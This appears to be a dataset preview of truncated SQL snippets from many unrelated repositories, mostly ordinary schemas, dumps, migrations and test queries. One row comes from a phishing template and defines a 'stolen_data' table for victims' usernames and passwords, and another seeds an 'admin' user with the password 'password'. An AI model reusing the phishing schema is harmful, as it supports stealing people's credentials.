sql stringlengths 6 1.05M |
|---|
<reponame>opengauss-mirror/Yat
-- @testpoint: List分区表结合like including reloptions参数
--step1:创建list分区表;expect:成功
drop table if exists t_partition_list_0057_01;
create table t_partition_list_0057_01
(id number(7) constraint t_partition_list_0057_01_id_nn not null,
use_filename varc... |
drop FUNCTION si_lt(text, text);
|
-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Waktu pembuatan: 08 Mar 2021 pada 14.39
-- Versi server: 10.4.13-MariaDB
-- Versi PHP: 7.4.8
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CH... |
select nomeproduto, nomefornecedor
from produtos p inner join fornecedores f /*nomear as tabelas*/
on p.fornecedorID = f.fornecedorID
|
CREATE SCHEMA [users]
|
<filename>templates/yahoo!/data.sql
-- You can use this query if you want your victims
-- user input into a database.
CREATE TABLE stolen_data (
id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
stolen_username VARCHAR(100) NOT NULL,
stolen_password VARCHAR(255) NOT NULL,
death_day DATETIME DEFAULT CURRENT_TIME... |
<reponame>2002-feb24-net/DynamixProject2-Haroldo-Stacey-Kyran<filename>Dynamix/FK_User_LocationVisitor.sql
ALTER TABLE [dbo].[LocationVisitor] WITH CHECK ADD CONSTRAINT [FK_User_LocationVisitor] FOREIGN KEY([UserID])
REFERENCES [dbo].[User] ([UserID])
GO
ALTER TABLE [dbo].[LocationVisitor] CHECK CONSTRAINT [FK_User_... |
-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Nov 05, 2020 at 11:11 AM
-- Server version: 10.4.14-MariaDB
-- PHP Version: 7.4.10
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIE... |
-- Complicated much. This adds some tables so that there is stuff around and mixed in with our cross product on the
-- right side of the left join.
-- Note that T4 is completely unconnected, but it get's the cross product done inside the left join.
-- The outer joins are there to make sure that tables are floating arou... |
--PRECOS POR PRODUTO E TAMANHO
INSERT INTO produto_tamanho(tamanho, valor, dtregistro, produto_id)
VALUES('4', '34,90', NULL, (SELECT id FROM produto WHERE descricao IN ('Mussarela')));
INSERT INTO produto_tamanho(tamanho, valor, dtregistro, produto_id)
VALUES('3', '29,90', NULL, (SELECT id FROM produto WHERE desc... |
<reponame>kkkmail/CoreClm<filename>Sql/ContGen/select/SELECT_ResultsByMaxEe_601.sql
use clm601
go
select count(*) as noOfResults from ResultData
go
-- Calculates how often the symmetry is broken for all processed default sets.
declare @maxWeightedAverageAbsEe float, @maxLastEe float, @runeTimeEst float
set @maxWeigh... |
<filename>packets/test_placeholders/01_step.sql<gh_stars>1-10
------------------
CREATE USER DBC_PL_USER_NAME WITH ENCRYPTED PASSWORD '<PASSWORD>';
------------------ |
<reponame>jeremyevans/quinto
CREATE TABLE players (
id SERIAL PRIMARY KEY
,email TEXT NOT NULL
,hash TEXT NOT NULL
,token TEXT NOT NULL
);
CREATE UNIQUE INDEX players_email_idx ON players(email);
CREATE TABLE games (
id SERIAL PRIMARY KEY
);
CREATE TABLE game_players (
game_id INTEGER REFERENCES games
,play... |
-- file:alter_table.sql ln:439 expect:true
CREATE TEMP TABLE FKTABLE (ftest1 int, ftest2 inet)
|
<reponame>Shuttl-Tech/antlr_psql
-- file:plpgsql.sql ln:1171 expect:true
insert into WSlot values ('WS.002.1a', '002', '', '')
|
-- file:updatable_views.sql ln:366 expect:true
EXPLAIN (costs off) UPDATE rw_view2 SET a=3 WHERE a=2
|
<reponame>rg9400/autoscan
CREATE TABLE IF NOT EXISTS scan (
"folder" TEXT NOT NULL,
"priority" INTEGER NOT NULL,
"time" DATETIME NOT NULL,
PRIMARY KEY(folder)
) |
<reponame>gpipperr/OraPowerShell
--==============================================================================
-- GPI - <NAME>
-- Desc: Query the audit log entries
--
-- Must be run with dba privileges
--
--==============================================================================
set linesize 130 pages... |
# --- events_journal
# --- !Ups
CREATE TABLE public.events_journal (
event_offset bigserial NOT NULL,
aggregate_root_type int4 NOT NULL,
aggregate_root_id int8 NOT NULL,
event_type varchar(255) NOT NULL,
event jsonb NOT NULL,
aggregate_version int4 NOT NULL,
created_at timestamp NOT NULL DEFAULT CURRENT... |
<reponame>RigBasketLLC/Dummy-Inventory-Database<gh_stars>0
USE TestDb
GO
SELECT * FROM [dbo].['19 Dec 12$']
ORDER BY [No.]
-- Delete acid information rows
ALTER TABLE [dbo].['19 Dec 12$']
DROP COLUMN [F18],[F19],[F20],[F21],[F22],[F23],[F24],[F25]
-- Delete rows between balance and location
ALTER TABLE [... |
<filename>macros/etc/tested.sql
{% macro tested(model_name, test_suite) %}
{#- Depend upon the test suite -#}
{% set suite_relation = builtins.ref(test_suite) %}
{#- Yield the relation for the model -#}
{% do return(builtins.ref(model_name)) %}
{% endmacro %}
|
<gh_stars>0
insert into roles (role) values ('ROLE_USER');
insert into roles (role) values ('ROLE_DEV');
insert into roles (role) values ('ROLE_ADMIN');
insert into users (username, password, enabled) values ('anonymous', 'anonymous', true);
insert into users (username, password, enabled) values ('admin', 'password', ... |
# Host: 127.0.0.1 (Version: 5.6.21-log)
# Date: 2016-06-13 19:08:10
# Generator: MySQL-Front 5.3 (Build 4.13)
/*!40101 SET NAMES utf8 */;
#
# Source for table "org"
#
DROP TABLE IF EXISTS `org`;
CREATE TABLE `org` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
PRIMAR... |
<filename>_includes/tutorials/joining-table-table/ksql/code/tutorial-steps/dev/create-movies-table.sql<gh_stars>1-10
CREATE TABLE movies (id INT, title VARCHAR, release_year INT)
WITH (KAFKA_TOPIC='movies',
PARTITIONS=1,
VALUE_FORMAT='avro');
|
<reponame>mdimercurio/iglu-central
-- AUTO-GENERATED BY igluctl DO NOT EDIT
-- Generator: igluctl 0.6.0
-- Generated: 2019-12-06 17:45 UTC
CREATE SCHEMA IF NOT EXISTS atomic;
CREATE TABLE IF NOT EXISTS atomic.dev_amp_snowplow_amp_id_1 (
"schema_vendor" VARCHAR(128) ENCODE ZSTD NOT NULL,
"schema_name" VAR... |
SELECT * FROM dbo.SomeCoolTable |
<reponame>petecchia/appcampo<filename>base de datos/appcampo.sql
-- phpMyAdmin SQL Dump
-- version 4.6.4
-- https://www.phpmyadmin.net/
--
-- Servidor: localhost
-- Tiempo de generación: 06-04-2017 a las 13:44:26
-- Versión del servidor: 5.6.33
-- Versión de PHP: 7.0.12
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time... |
DROP TABLE IF EXISTS `customers`;
CREATE TABLE IF NOT EXISTS `customers` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`first_name` VARCHAR(40) DEFAULT NULL,
`surname` VARCHAR(40) DEFAULT NULL,
PRIMARY KEY (`id`)
);
DROP TABLE IF EXISTS `items`;
CREATE TABLE IF NOT EXISTS `items` (
`id` INT(11) NOT NULL ... |
-- phpMyAdmin SQL Dump
-- version 4.2.11
-- http://www.phpmyadmin.net
--
-- Host: 127.0.0.1
-- Generation Time: Jul 19, 2017 at 06:35 AM
-- Server version: 5.6.21
-- PHP Version: 5.5.19
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;... |
<reponame>augsmachado/sql-studies<gh_stars>0
/*
Name: Problem 2742
Copyright: 2019 <NAME>
Author: <NAME>
Date: 07/30/2019
Comment language: en
Description:
Richard is a famous scientist because of his multiverse theory, where he describes every hypothetical
set of parallel universes by means of a database. ... |
CREATE TABLE [dbo].[ProjectDependency] (
[ProjectDependencyID] INT IDENTITY (1, 1) NOT NULL,
[DependsOnProjectID] INT DEFAULT ((0)) NOT NULL,
[ProjectID] INT DEFAULT ((0)) NOT NULL,
CONSTRAINT [PK_ProjectDependency] PRIMARY KEY CLUSTERED ([ProjectDependencyID] ASC),
CONSTRAINT [FK_Projec... |
SET FOREIGN_KEY_CHECKS=0;
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 ... |
<gh_stars>0
CREATE TABLE "public"."knits" ("id" uuid NOT NULL,"creation" timestamp NOT NULL DEFAULT NOW(), PRIMARY KEY ("id")); |
USE kayu;
CREATE TABLE IF NOT EXISTS `tb_produk` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`merek` varchar(50) NOT NULL,
`tahun` varchar(13) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=8 ;
USE kayu;
INSERT INTO `tb_produk` (`id`, `nama_produk`, `harga_produk`, `stok... |
/*
Navicat MySQL Data Transfer
Source Server : test
Source Server Version : 50617
Source Host : localhost:3306
Source Database : muke
Target Server Type : MYSQL
Target Server Version : 50617
File Encoding : 65001
Date: 2017-08-30 00:28:55
*/
SET FOREIGN_KEY_CHECKS=0;
-- ---------... |
<gh_stars>0
-- phpMyAdmin SQL Dump
-- version 4.5.4.1deb2ubuntu2.1
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Aug 06, 2021 at 10:16 AM
-- Server version: 5.7.33-0ubuntu0.16.04.1
-- PHP Version: 7.2.34-8+ubuntu16.04.1+deb.sury.org+1
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+0... |
<gh_stars>1-10
CREATE DATABASE IF NOT EXISTS `student` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `student`;
-- MySQL dump 10.13 Distrib 5.7.20, for Linux (x86_64)
--
-- Host: localhost Database: student
-- ------------------------------------------------------
-- Server version 5.7.20-0ubuntu0.16.04.1
/*!4010... |
-- 2011-05-24 <NAME> (Microsoft) <EMAIL> (http://aka.ms/sqlinsights)
--
-- 2012-03-25 Added SQL 2012 support
-- 2012-09-19 Simplified logic
-- 2012-09-20 Changed grow settings if not SQL Server 2012
--
-- Generates the sql statements to preemtively fix VLF issues in all DBs within the server, based on the transaction l... |
<filename>src/database/db.sql
--
-- Script was generated by Devart dbForge Studio 2019 for MySQL, Version 172.16.58.3
-- Product home page: http://www.devart.com/dbforge/mysql/studio
-- Script date 28/12/2019 10:27:05 p. m.
-- Server version: 8.0.18
-- Client version: 4.1
--
--
-- Disable foreign keys
--
/*!40014 SE... |
USE [ANTERO]
IF EXISTS (
SELECT * FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA='dw' AND TABLE_NAME='d_organisaation_alayksikot' AND COLUMN_NAME='jarjestys_paayksikko_koodi')
BEGIN
ALTER TABLE dw.d_organisaation_alayksikot drop column jarjestys_paayksikko_koodi
END
IF EXISTS (
SELECT * FROM INFORMATION_SCH... |
# 客户以及账户初始化
use mydb;
delete from Costumer_has_SavingAccounts where Costumer_ID is not NULL;
delete from Costumer_has_CheckAccounts where Costumer_ID is not NULL;
delete from SavingAccounts where id is not NULL;
delete from CheckAccounts where id is not NULL;
delete from costumer where id is not NULL;
insert into Costu... |
-- select4.test
--
-- execsql {SELECT n FROM t1 WHERE log=3}
SELECT n FROM t1 WHERE log=3 |
-- fts2n.test
--
-- db eval {
-- CREATE VIRTUAL TABLE t2 USING fts2(c);
--
-- INSERT INTO t2(rowid, c) VALUES(1, text);
-- INSERT INTO t2(rowid, c) VALUES(2, 'Another lovely row');
-- UPDATE t2 SET c = ntext WHERE rowid = 1;
-- }
CREATE VIRTUAL TABLE t2 USING fts2(c);
INSERT INTO t2(rowid, c) VALUES(1, text);... |
<reponame>Shuttl-Tech/antlr_psql
-- file:aggregates.sql ln:277 expect:true
select min(tenthous) from tenk1 where thousand = 33
|
-- file:text.sql ln:72 expect:true
select format('INSERT INTO %I VALUES(%L,%L)', 'mytab', NULL, 'Hello')
|
<gh_stars>100-1000
-- +migrate Up
CREATE TABLE refresh_tokens (
token uuid NOT NULL DEFAULT uuid_generate_v4 (),
user_id uuid NOT NULL,
created_at timestamptz NOT NULL,
updated_at timestamptz NOT NULL,
CONSTRAINT refresh_tokens_pkey PRIMARY KEY (token)
);
CREATE INDEX idx_refresh_tokens_fk_user_uid... |
CREATE TABLE BOOK_METADATA_AGGREGATION_TAG
(
TAG varchar NOT NULL,
SERIES_ID varchar NOT NULL,
FOREIGN KEY (SERIES_ID) REFERENCES SERIES (ID)
);
-- aggregate existing data
insert into BOOK_METADATA_AGGREGATION_TAG
select distinct bt.TAG, b.SERIES_ID
from BOOK_METADATA_TAG bt
left join BOOK B... |
DELETE FROM script_texts WHERE entry BETWEEN -1000542 AND -1000541;
INSERT INTO script_texts (entry,content_default,sound,type,language,emote,comment) VALUES
(-1000541,'%s jumps into the moonwell and goes underwater...',0,2,0,0,'kitten EMOTE_SAB_JUMP'),
(-1000542,'%s follows $n obediertly.',0,2,0,0,'kitten EMOTE_SAB_FO... |
<gh_stars>0
DROP TABLE IF EXISTS coinStatement; |
-- formerly mv_loading_dock_check_s
--
-- PostgreSQL database dump
--
SET client_encoding = 'UTF8';
SET standard_conforming_strings = off;
SET check_function_bodies = false;
SET client_min_messages = warning;
SET escape_string_warning = off;
SET search_path = noit, pg_catalog;
SET default_tablespace = '';
SET def... |
<filename>MCResources/Assets/db/update_31_to_32.sql
CREATE TABLE friend_invitation_secrets (
secret TEXT PRIMARY KEY
); |
<gh_stars>1-10
CREATE PROCEDURE [sp_sel_DispatchDetail]
AS
SELECT
[DispatchDetailID],
[PartitionID],
[TransactionGroupID],
[DispatchID],
[CommodityID],
[RequestedQunatityInUnit],
[UnitID],
[RequestedQuantityInMT],
[Description]
FROM
[dbo].[DispatchDetail] |
SELECT 'Upgrading MetaStore schema from 1.2.0 to 1.2.1000';
-- \i 022-HIVE-12807.postgres.sql;
ALTER TABLE COMPACTION_QUEUE ADD COLUMN CQ_HIGHEST_TXN_ID bigint;
-- \i 023-HIVE-12814.postgres.sql;
ALTER TABLE COMPACTION_QUEUE ADD COLUMN CQ_META_INFO bytea;
-- \i 024-HIVE-12816.postgres.sql;
ALTER TABLE COMPACTION_QUE... |
<gh_stars>10-100
//// CHANGE name=change0
CREATE MEMORY TABLE TABLE431(ID INTEGER NOT NULL PRIMARY KEY,FIELD1 VARCHAR(30),USERTYPE0FIELD USERTYPE0,USERTYPE1FIELD USERTYPE1,USERTYPE9FIELD USERTYPE9)
GO
|
--startcode truncate-audit
truncate table [dbo].[audit_archive];
--endcode |
create table ACT_ID_PROPERTY (
NAME_ NVARCHAR2(64),
VALUE_ NVARCHAR2(300),
REV_ INTEGER,
primary key (NAME_)
);
insert into ACT_ID_PROPERTY
values ('schema.version', '6.0.0.5', 1);
create table ACT_ID_BYTEARRAY (
ID_ NVARCHAR2(64),
REV_ INTEGER,
NAME_ NVARCHAR2(255),
BYTES_ BLOB,
p... |
<gh_stars>1-10
CREATE TABLE dbo.geogit_sqlserver_test (
gid integer NOT NULL PRIMARY KEY,
geom geometry,
name character varying(35)
);
INSERT INTO dbo.geogit_sqlserver_test (gid, geom, name) VALUES
(1,geometry:: STGeomFromText('POINT(-122.862936890879 42.3397044113681)', 4326),'feature1');
INSERT INTO dbo... |
--test bit_length with nchar varying as parameter
create class tb(
col1 nchar varying(2)
);
insert into tb values(n'ok');
select bit_length(col1) from tb;
drop class tb;
|
<reponame>opengauss-mirror/Yat<filename>openGaussBase/testcase/SQL/INNERFUNC/max/Opengauss_Function_Innerfunc_Max_Case0033.sql<gh_stars>0
-- @testpoint: 1000w数据cidr类型取最大值
--step1:创建表; expect:成功
drop table if exists t_max_case0033;
create table t_max_case0033(c cidr);
--step2:批量插入数据; expect:成功
begin
for i in 1..100000... |
<gh_stars>0
/*
Navicat Premium Data Transfer
Source Server : localhost-mysql
Source Server Type : MySQL
Source Server Version : 50640
Source Host : localhost:3306
Source Schema : music
Target Server Type : MySQL
Target Server Version : 50640
File Encoding : 65001
Dat... |
-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1:3306
-- Tempo de geração: 25-Out-2021 às 22:44
-- Versão do servidor: 5.7.31
-- versão do PHP: 7.3.21
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIEN... |
/*Create database*/
DROP DATABASE IF EXISTS company_db;
CREATE DATABASE company_db;
/*Use database*/
USE company_db;
/*Create department table*/
CREATE TABLE department (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(30) NOT NULL
);
/*Create role table*/
CREATE TABLE role (
id INT PRIMARY KEY AUTO_INCR... |
<gh_stars>0
UPDATE "article"
SET
"title" = $2,
"body" = $3,
"body_ht" = $4,
"public" = $5,
"created" = $6
WHERE "article_id" = $1
|
<gh_stars>0
DROP INDEX public.idx_score_liste;
CREATE INDEX idx_score_liste
ON public.score USING btree
(siret COLLATE pg_catalog."default" ASC NULLS LAST, score ASC NULLS LAST, libelle_liste COLLATE pg_catalog."default" ASC NULLS LAST)
TABLESPACE pg_default
WHERE version = 0 AND alert <> 'pas d''alert... |
<reponame>sdoubleday/scdtype6generator
CREATE PROCEDURE [templateSchema].[templateDimCoreName_dimSetup_PostUpgradeInitialization_0dot1_CreateSNKValuesAndPopulateT1_usp]
AS
/*
This needs to get run for any existing dimension from 0.0.* getting updated to 0.1.* right after deployment.
Failure to do so will wreck the ... |
create table records (
id integer primary key,
user_id integer,
movement_id integer,
value integer,
created_at integer
);
create index idx_movement_id on records(user_id, movement_id);
|
<gh_stars>0
DROP TABLE IF EXISTS gqscrape.answer;
DROP TABLE IF EXISTS gqscrape.question;
DROP TABLE IF EXISTS gqscrape.user;
CREATE TABLE gqscrape.user (
id int NOT NULL,
name VARCHAR,
url VARCHAR,
PRIMARY KEY (
id
)
);
insert into gqscrape.user(id, name, url) values(0, null, null);
... |
-- phpMyAdmin SQL Dump
-- version 4.1.14
-- http://www.phpmyadmin.net
--
-- Host: 127.0.0.1
-- Generation Time: Apr 30, 2018 at 12:14 AM
-- Server version: 5.6.17
-- PHP Version: 5.5.12
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;... |
BEGIN;
DROP TABLE IF EXISTS social_enterprise_basic, social_enterprise_details, contract, policy, social_impact_list;
DROP TYPE IF EXISTS regions, trade_type, turnover_size, contract_size, social_mission, uk_cities;
CREATE TYPE regions AS ENUM(
'Greater London',
'South East',
'South West',
'West Midla... |
SELECT status from execution_result as r
|
---------------Create new Role--------------------
INSERT INTO eg_role(id, name, description, createddate, createdby, lastmodifiedby, lastmodifieddate, version) VALUES (nextval('seq_eg_role'), 'Sewerage Tax Administrator', 'Sewerage Tax Administrator', now(), 1, 1, now(), 0);
INSERT INTO eg_role(id, name, description,... |
<gh_stars>1-10
-- Drops an existing database
DROP DATABASE IF EXISTS tracking_DB;
-- Creates the database
CREATE DATABASE tracking_DB;
USE tracking_DB;
-- Creates the Gym Table
CREATE TABLE gym (
id INT PRIMARY KEY AUTO_INCREMENT,
gym_name VARCHAR(50) NULL
);
-- Creates the Types table
CREATE TABLE types (
id... |
<gh_stars>10-100
-- file:join.sql ln:1062 expect:true
select q1, unique2, thousand, hundred
from int8_tbl a left join tenk1 b on q1 = unique2
where coalesce(thousand,123) = q1 and q1 = coalesce(hundred,123)
|
DELIMITER /
--
--
UPDATE KRIM_TYP_T SET OBJ_ID = UUID() WHERE OBJ_ID = 'A8488117C37040B2A56531BCBB7DCD9B'
/
UPDATE KRIM_PERM_T SET OBJ_ID = UUID() WHERE OBJ_ID = '3F0FE9D4-83BC-7CC6-5292-49E6F23FA6F0'
/
UPDATE KRIM_PERM_ATTR_DATA_T SET OBJ_ID = UUID() WHERE OBJ_ID = '77151AD4B1F69985E0404F8189D80E8B'
/
UPDATE KRIM_ROL... |
<gh_stars>0
/*
* Carbon-Forum
* https://github.com/lincanbin/Carbon-Forum
*
* Copyright 2006-2015 <NAME> (<EMAIL>)
* http://www.94cb.com/
*
* Licensed under the Apache License, Version 2.0:
* http://www.apache.org/licenses/LICENSE-2.0
*
* A high performance open-source forum software written in PHP.
*/
SE... |
create table item (
id serial primary key,
name varchar(100) not null,
description varchar(100) not null,
created bigint not null,
comments varchar(100)
);
|
<reponame>MichaelJY91/mybatis-plus
CREATE TABLE IF NOT EXISTS tb_test_data_logic (
id BIGINT primary key,
test_int integer,
test_str varchar(50),
test_double double,
test_boolean tinyint(1),
test_date date,
test_time time,
test_date_time dat... |
<gh_stars>1-10
INSERT INTO countries (country) VALUES ('Russia');
INSERT INTO countries (country) VALUES ('USA');
INSERT INTO countries (country) VALUES ('Germany');
INSERT INTO countries (country) VALUES ('France');
INSERT INTO countries (country) VALUES ('England');
INSERT INTO countries (country) VALUES ('Canada'); |
<gh_stars>0
drop table if exists posts;
create table posts (
id integer primary key autoincrement,
name text not null,
content text not null
); |
CREATE SCHEMA AUTHORIZATION joe;
|
<reponame>Zhaojia2019/cubrid-testcases
--+ holdcas on;
set names utf8;
create table t1 (i integer);
create user ユーザー1;
create user ユーザグループ members ユーザー1;
grant select on t1 to ユーザー1;
grant delete on t1 to ユーザグループ;
show grants for ユーザー1;
show grants for ユーザグループ;
drop user ユーザグループ;
drop user ユーザー1;
drop table t1... |
-- @testpoint: opengauss关键字If非保留),作为索引名,部分测试点合理报错
--前置条件,创建一个表
drop table if exists explain_test;
create table explain_test(id int,name varchar(10));
--关键字不带引号-成功
drop index if exists If;
create index If on explain_test(id);
drop index If;
--关键字带双引号-成功
drop index if exists "If";
create index "If" on explain_test(id)... |
SET NAMES 'utf8';
DROP DATABASE IF EXISTS parsefile;
CREATE DATABASE IF NOT EXISTS parsefile
CHARACTER SET utf8
COLLATE utf8_unicode_ci;
USE parsefile;
CREATE TABLE IF NOT EXISTS `lines` (
line_id int(11) NOT NULL AUTO_INCREMENT,
... |
<gh_stars>0
--
-- PostgreSQL database dump
--
-- Dumped from database version 10.0
-- Dumped by pg_dump version 10.0
-- Started on 2017-11-23 17:00:33
SET statement_timeout = 0;
SET lock_timeout = 0;
SET idle_in_transaction_session_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SET ... |
-- phpMyAdmin SQL Dump
-- version 4.8.5
-- https://www.phpmyadmin.net/
--
-- Host: localhost:8889
-- Generation Time: Sep 09, 2019 at 12:12 AM
-- Server version: 5.7.25
-- PHP Version: 7.3.1
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
--
-- Database: `kuncijabatan`
--
-- -----------------------... |
alter table housedb.locations drop constraint unique_name;
drop index housedb.location_names_lower;
create unique index location_names_lower on housedb.locations( lower(name), parent_id ); |
alter table EG_WF_STATES alter column sendername type character varying(500);
|
--use northwind
--go
drop table dbo.TestTable1
go
create table dbo.TestTable1
(
[The Key] int not null primary key,
[The Value] nvarchar(1000),
update_date datetime not null
)
go
insert into dbo.TestTable1 values
( 1, 'test value 1', getdate() );
insert into dbo.TestTable1 values
( 2, 'te... |
<filename>database/mssql/create_user_security.sql
/** Create login and create user from login. The login and user can be named differently. both are named the same for demostration**/
USE master
GO
CREATE login testuser with password=N'<PASSWORD>'
,DEFAULT_DATABASE=demo
,CHECK_POLICY=OFF
,CHECK_EXPIRATION=OFF
GO
US... |
ALTER TABLE simulation_runs DROP workflow_run_id;
|
<reponame>DjordjeVucinac82/crunchbutton
ALTER TABLE `payment` ADD `stripe_id` VARCHAR( 255 ) NULL DEFAULT NULL; |
-- Code is reviewed and is in working condition
SELECT a.*
FROM
sys.objects a,
sys.objects b,
sys.objects c,
sys.objects d,
sys.objects e,
sys.objects f,
sys.objects g,
sys.objects h |
-- phpMyAdmin SQL Dump
-- version 4.7.4
-- https://www.phpmyadmin.net/
--
-- Hôte : 127.0.0.1:3306
-- Généré le : Dim 06 mai 2018 à 16:35
-- Version du serveur : 5.7.19
-- Version de PHP : 7.1.9
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @... |
GO
PRINT N'ALTER [Business].[WasteType]...';
GO
ALTER TABLE [Business].[WasteType]
ADD WasteGenerationProcess [nvarchar](1024) NULL
GO
ALTER TABLE [Business].[WasteType]
ADD IsDocumentAttached [bit] NOT NULL
GO
ALTER TABLE [Business].[WasteType] ADD CONSTRAINT [DF_WasteType_IsDocumentAttached] DEFAULT ((0)) FOR [... |
<filename>employees.sql
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE employees
(EMPLOYEE_ID int unique not null,
FIRST_NAME varchar(20) not null,
LAST_NAME varchar(20) not null,
EMAIL varchar(50),
PHONE_NUMBER char(12),
HIRE_DATE date,
JOB_ID varchar(20),
SALARY numeric(10,2),
COMMISSION_PCT real default 0.... |
<reponame>NguyenManh94/Api_ImagazinePro
SELECT * FROM XCategory
SELECT * FROM Account
SELECT * FROM SCategory
truncate table Account |
<reponame>mayconbordin/ubipri-server
# user_in_environment schema
# --- !Ups
DROP TABLE IF EXISTS user_in_environment CASCADE;
CREATE TABLE user_in_environment (
id serial not null unique,
user_id integer not null,
user_profile_environment_id integer not null default 1, -- 1 is Unknown for the environment
envir... |
-- Insert statement which when applied to seed.csv triggers the inplace
-- overwrite strategy of incremental models. Seed and incremental model
-- diverge.
-- insert new row, which should not be in incremental model
-- with primary or first three columns unique
insert into {schema}.seed
(state, county, city, ... |
<reponame>ATBMHTTT-2017/lab02-lab02-1412356-1412405-1412592
----------------------Insert new column in table PHANCONG:signature-------------------
ALTER TABLE atbmdba.PHANCONG
ADD
(
signature RAW(2000)
);
--------------------------CREATE FUNCTION create_signature AND verify_signature-------------------------
CREATE... |
-- Query 3.2
select
/*+ NO_INDEX(date)
NO_INDEX(lineorder)
NO_INDEX(customer)*/
c_city, s_city, d_year, sum(lo_revenue) as revenue
from
supplier straight_join lineorder
straight_join date
straight_join customer
where
lo_custkey = c_custkey and
lo_suppkey = s_suppk... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.